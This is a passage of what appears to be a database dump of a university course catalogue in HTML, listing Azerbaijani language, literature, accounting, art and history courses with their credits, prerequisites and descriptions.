sentences, and their structural types. It also deals with punctuation marks and their proper use.</p><p>&nbsp;</p><p><strong>AZLL 306: History of Azerbaijani Literary Language (3 credits)</strong></p><p><strong>Prerequisite: AZLL 206</strong></p><p>This course explores the main sources of Azerbaijani language history and its origin, the rise of literary language, and problems extant in development periods. It also surveys the historical and cultural conditions of the different periods. The role of outstanding personalities related to the developmental history of Azerbaijan literary language is given in chronological order.</p><p><strong>&nbsp;</strong></p><p><strong>AZLL 416: Fundamentals of Literary Critics (3 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>Fundamentals of Literary Critics as a subject is composed of three parts: Theory of Literature, History of Literature, and Literary Critique. This course mainly deals with issues covered in the Theory of Literature. Features of literary works and principles of reflecting real-life events, as well as the social importance and role of literary works are studied. The course also covers such topics as principles of literary creativity and rules of their development, unity of content and form, characteristics of different types and genres, structures of literary works, styles and methods, etc.</p><p><strong>&nbsp;</strong></p><p><strong>AZLL 417: The Environment of Eastern Languages and Azerbaijani Literature (4 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>The main objective of this course is to study role of Arabic and Persian rules of writing and literature in the formation of Azerbaijani rules of writing and literature.</p><p><strong>&nbsp;</strong></p><p><strong>AZLL 512: Azerbaijani Dialectology (3 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>Dialectology (dialects) and accents are constructed in this section of linguistics. This course explains the phonetic, lexical, morphological and syntactical properties of dialects and accents. It also provides an extensive classification of Azerbaijani dialects and accents on the principles of geographical territory and investigates the theoretical issues of dialectology.</p><p>&nbsp;</p><p><strong>AZLL 513: Onomastics (3 credits)</strong></p><p>Prerequisite: Consent of instructor</p><p>The types of special names in language, their origin and use are elucidated in the course. It gives information about scientific classification and descriptions of all kinds of onomastic units.</p><p>&nbsp;</p><p><strong>AZLL 514: Textual Criticism (3 credits)</strong></p><p>Prerequisite: Consent of instructor</p><p>Complex investigation of the historical roots and development of ways of textual criticism as a science, as well as modern textual criticism, its methods and principles are pursued in this course. The emergence and development of Azerbaijani textual criticism, Azerbaijani Middle Age manuscript books and booklets, scientific analyses of the manuscript text copies, exploration of text origins, attribution of the text (the determination of the author), research of text translations, text preparation for publications and etc. are comprehensively enlightened.</p><p>&nbsp;</p><p><strong>AZLL 515: Azerbaijani Historical Grammar (3 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>This course provides general information about historical grammar, discusses the developmental processes of separate parts of speech, investigates historical Azerbaijani&nbsp;phonetics and morphology, analyses the origin of the language and historical development of its morphological features, and explains and elucidates the establishment of the modern language.</p></td></tr></tbody></table>  <br></div>'),(1252,790,'en','Accounting (ACC)','Accounting (ACC)','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 210: Principles of Accounting&nbsp;(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: BSA 101</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This is an introductory course in accounting. It covers such topics as accounting and business environment, translating business activities into accounting information, accounting cycle, merchandising operations, inventory, internal control and cash, receivables, liabilities, assets and intangibles, time value of money and financial statements, using information from accounting system for investment and management decisions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 310: Financial Accounting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: ACC 210</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course introduces financial accounting concepts and principles. It is designed to be a combination of both accounting and finance that will lay a strong background for further studies in financial subjects. The course covers the following topics: accounting principles and concepts; balance sheets, accrual vs. cash basis of income measurement; income statement; journals and ledger recording; trial balance, accrual and deferral adjustments, the &nbsp;accounting cycle, sales, cash and accounts receivable; estimating uncorrectable accounts, valuing inventories, ratio and trend analysis, present and future value concepts; liabilities, statements of cash flows, stockholders’ equity, dividends and treasury stock.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 350: Accounting Information Systems (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: ACC 210, BSA 210</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 410: Managerial Accounting&nbsp;(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: FIN 310, ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers approaches to providing accounting and processing information for effective management of for-profit and nonprofit organizations.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 415: Statutory Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the study of statutory accounts and reporting requirements; domestic auditing standards; and domestic oil and gas accounting requirements.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 420: Financial Reporting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210, FIN 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers analysis of the International Financial Reporting Standards, focusing on revenue and expense recognition and the measurement of assets and liabilities; concepts and theories underlying financial statements; introduction to international reporting standards; balance sheet; income statement, statement of changes in equity; cash flow statement; cash and receivables; inventory; revenue and expense recognition; property, plant and equipment; intangible assets.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 430: International Accounting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Securities regulation and trading; various national accounting standards; the harmonization of accounting standards internationally; accounting for the translation of transactions and foreign subsidiary financial statements.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 440: Cost Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210, FIN 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Students study cost accounting, accounts and investments; inventory accounts; manufacturing accounts; and material use variance accounts.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 450: Auditing (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course develops student’s knowledge of auditing services. Topics include the role of auditing services in society, audit programs planning, design and implementation.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 490: Taxation&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces students to the tax concepts applicable to sole proprietorships, partnerships, corporations, estates, and trusts. Emphasis is placed on differences between tax and financial accounting concepts. In addition, students are exposed to accounting periods and methods, deferred compensation, tax planning, ethical practices, and tax research.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 800: Accounting for Financial Decisions (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: None</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is designed for graduate students. The course will focus on the financial decision makers. The purpose of this course is to introduce the «basic concepts» of accounting and finance. With knowledge in accounting and the basic elements of finance, one can understand how specific techniques and decision rules can be used. The course covers the following topics: basic accounting concepts, revenue and monetary systems, cost of sales and inventory, non-monetary assets, sources of capital, and strategic investment decisions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 801: Financial Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisites: None</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is designed for the graduate students majoring in Economics and Business Administration as a required course. This course will focus on the user of accounting information. The purpose of this course is to introduce the «basic concepts» of accounting. With knowledge in accounting, one can understand how specific techniques and decision rules can be used from accounting records. The course covers the following topics: analyzing transactions; the matching concept and adjusting process; completing the accounting cycle; accounting for different types of businesses; accounting systems, internal controls and cash; receivables; inventories; fixed assets and intangible assets; current liabilities; corporations: organization, capital stock transactions and dividends; corporations: income and taxes, stockholders’ equity and investments in stocks; bonds payable and investments into bonds; statement of cash flows; and financial statement analysis.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 810: Auditing (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course provides knowledge important for the students majoring in Accounting and Finance. It includes planning audit, designing audit programs with internal control, audit evidence, audit work papers, cash and marketable securities, accounts receivable, inventories, property, plant and equipment, accounts payable and other liabilities, debt and equity capital losses and auditor’s reports. Casework is practiced.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 840: Management and Cost Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Use of accounting information for internal planning and control purposes; role of accounting in decisions concerning resource allocation, cost and performance analysis, evaluation of business units using data obtained from the accounting system. Use of cost information for operational and strategic control; application of statistical tools and decision models to accounting data for the purpose of facilitating managerial control; identifying cost behavior with respect to managerial decision; measuring and controlling the consumption of resources by a firms products; analyzing product cost systems in diverse production and non-manufacturing settings.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 860: Accounting Information Systems&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems. This course focuses on the knowledge and skills required providing assurance for information systems for the purpose of managing business risk.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 870: International Accounting Practices (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is designed to study and resolve accounting problems involved in international operations. It encompasses the comparative study of different national accounting systems, the problems caused by the existing differences in practices for international operations, and organizations which have emerged to reconcile differences and to handle international accounting problems.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 880: Advanced Accounting Topics (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801, ACC 840</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is specialized in accounting topics including accounting and reporting for business combinations, international accounting and foreign currency issues, partnership accounting and other topics.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a></a>ART 231: Painting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Basic fundamentals of painting. Color and basic techniques. Studio work and exhibition.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><a></a><strong>HIST 116: History of Turks (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Comprehensive study of the history of the Caucasian Turkic peoples\' civilizations and cultures. There role in the process of shaping of the contemporary Caspian region\'s ethnic situation, especially their influence in the formation of Azerbaijani nation. The course embraces the history of the Caucasus Turkish Tribes and Fore Asia; formation of the Turkish States and empires in Siberia, Altay, Middle Asia, Western Europe, and on the shores of the Black Sea. Economics, culture, religion, and mode of the life of Turkish peoples are discussed.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 117: History of the Hun (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies the historical origin of the Hun, their political and ethnic characteristics and geographical location. The historical role of the Hun in the formation of European and Asian, and in particular Azerbaijani ethnicity is of great importance. A study of history of the Hun is based on the Chinese, European and Caucasian sources, both written and archeological ones. Topics for research and course theses will be offered for persons interested.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 210: Pre-Islamic History of Azerbaijan and Its Neighbors (Ancient and Early Medieval Period) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the period from the very beginning of civilization until the 8th century AD Comparative history of the ancient Azerbaijani people and the people of Georgia, Armenia, Daghestan, other Caucasian people is discussed. Emphasis is given to the formation of the states like Manna, Athropatheus, and Caucasian Albania.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 211: History of Azerbaijan (8th - 18th Centuries) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">History of Azerbaijan of the Middle Ages: Arabian invasion, inclusion of Azerbaijan into Arabian Caliphate, and beginning of the country\'s Islamization. Study of historical development of the local feudal states in Azerbaijan: Shirvanshahs, Sajids, Shaddadids, Salarids, and Ravvadids. Formation of the Saljug Empire in Central Asia and Azerbaijan. The 12th century Azerbaijani culture. Mongol invasion. Azerbaijan in Chinghiz Khan\'s Empire and in the states of Ilkhans and Khulagiuds. The states of Qaraqoyunlu and Agqoyunlu. Safavids state of Azerbaijan. Azerbaijan in the 18th century. Azerbaijan as an arena of rivalry among Russia, Persia, and the Ottoman Empire.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 212: Modern and Contemporary History of Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: HIST 211</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is connected with the continuous rivalry of Empires for Caucasus, the division of the country into two parts between Russia and Persia (Gulustan and Turkmancay Treaties of 1813 and 1828). Since that time until 1991 North Azerbaijan existed within Russian Empire and then the USSR, but South Azerbaijan - within the Persia (Iran). A significant place is given to the History of Azerbaijan after the declaration of Independent ADR (Azerbaijan Democratic Republic) in 1918 and after 1991 - with the formation of the sovereign AR (Azerbaijan Republic).</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 213: History of the Formation and Development of Capitalistic Oil Production in Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies the peculiarities of the formation and development of large-scale capitalist oil industry in Azerbaijan. Social-economic movements in the sphere of oil engineering; oil exportation; discoveries of new hydrocarbon resources. Creation of new oil-producing factory. Transformation of Baku into the world center of oil industry. Concentration and flow of foreign investments. The beginning of monopolization of oil industry in Azerbaijan by Nobel brothers and establishment of the great monopolistic union – \"Nobel-Mazut\". Investments of international Anglo-Dutch company \"Shell\" into oil industry of Baku. Oil production during World War I: influence of the war to the structure of production; role of Azeri oil during the war. Foundation of the council of Baku oil-producers. The development of oil industry in Azerbaijan during the Soviet period.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 215: Introduction to Archeology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies primitive, antique, and medieval historical material sources; restores the historical past of the mankind; investigates important changes in the development of productive forces, social relations; ascertains the origin of nations, formation and development of their culture; retraces cultural and historical relations and formation of ethnic communities. Traces the development of native Azerbaijan culture from the peopling of the continent to early historic times. Examines the archeological evidence for the antiquity, spread, and variation of cultural adaptation to changing ecological conditions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 216: Modern History of the Middle East (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course presents a survey of the political, social and economic evolution of the Middle East in the 19th and 20th centuries, covering the impact of the West on the traditional socio-political order, state-and nation-building in the 20th century, the development of a new social order, and political and ideological conflict within and between states.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 217: History of the Origins and Development of Islam (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is primarily concerned with the emergence and consolidation of the Islamic world -- the most significant transition in the history of the Middle East and North Africa between the origins of civilization and modern times. The overall framework is one of political history broadly conceived; within this framework themes taken from religious, cultural, social and economic history will receive considerable attention. The history of origin and formation of Islamic religion. Analysis of the history of basic Islamic doctrines\' development known as Arkan al-Islam (pillars of Islam). The review of some religious dogmas will require more extensive (from the point of chronology) review of the problem. Arabic language capability is welcomed but not required.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 220: Introduction to Ethnography (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">An introduction to the basic concepts and theories of ethnography. Study of the ethnography of Azerbaijan and ethnography of the world. The course deals with general ethnic processes, ethnic factor in the history and in the modern life, types of classification of people in the world, their economic and spirituaculture. Ethnic composition and ethno- political history of Azerbaijan are emphasized.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 313. History of South Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Study of the history of South Azerbaijan from the specific aspect of its historical and socio-political development. The division of Azerbaijan in the beginning of XIX century into North and South Azerbaijan, creation of separate (different) fates and histories of one nation under the rule of the Russian and Persian empires. Emphasis of the processes occurring in South Azerbaijan after the peace treaties of Gulustan and Turkmancay in 1813 and 1828; Iranian policy of the coercive assertion of Persian culture on the population of South Azerbaijan; national-liberation movements guided by S.M.Khiyabani, Sattarkhan, and S.C.Pishavari. The course includes, as well as, the topics: South Azerbaijan during the \"cold war\"; contemporary South Azerbaijan; idea of the \"United Azerbaijan\" -- historical evolution, development, and realization tendencies.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 316: Socio-political situation in Azerbaijan in the 19-20thcenturies(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The development of national-democratic and revolutionary movements in Azerbaijan; formation of political parties and development of the national self- consciousness. The political activity of national intelligentsia. Participation of Azerbaijan political figures in four State Dumas of Russia and the beginning of formation of Azerbaijan national political system. The formation and active participation of the first national organizations in the movement for political, economic, and social rights of Azerbaijani peoples.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 317: International Status of Azerbaijan in 1917 – 1920 (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Study of the political situation in Azerbaijan after the Russian Empire\'s fall. The Democratic Republic of Azerbaijan - the first democratic state in the Muslim East. Analysis of the formation of the national Azerbaijan state and its international recognition. Survey of the Democratic Republic of Azerbaijan Government\'s activity. Participation and acceptance of Azerbaijani delegation in the Paris Peace conference. The relationships with other states. The Soviet Russia aggression in April 1920 and the breach of historical development of Azerbaijan State system.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 320: Ethnology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The purpose of the course is to study the main basic theoretical aspects of knowledge on anthropology as the science studying human being, culture, and society in the global and general historic context. The course intends to present a comprehensive knowledge on the features of the methods, the investigating objects of this sphere of science. Emphasis is on such problems as: western ethnology and its main directions; ethno-sociology; ethnicity and nation; ethno-demographic investigations; ethnology and anthropology; political ethnology.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 550: History of Iran (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course embraces long history of Iran. But attention has been given mainly to the modern and contemporary history of the multi-ethnic country. The Islamic revolution and current situation in the country have selected for more in-depth studies.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a></a>AZLL 101: Azerbaijani Language (University Requirement) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: High School Azerbaijani language</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course prepares students for analyzing academic texts and technical material in Azerbaijani. Advanced skills in academic and creative writing and reading comprehension are honed using academic literature across various 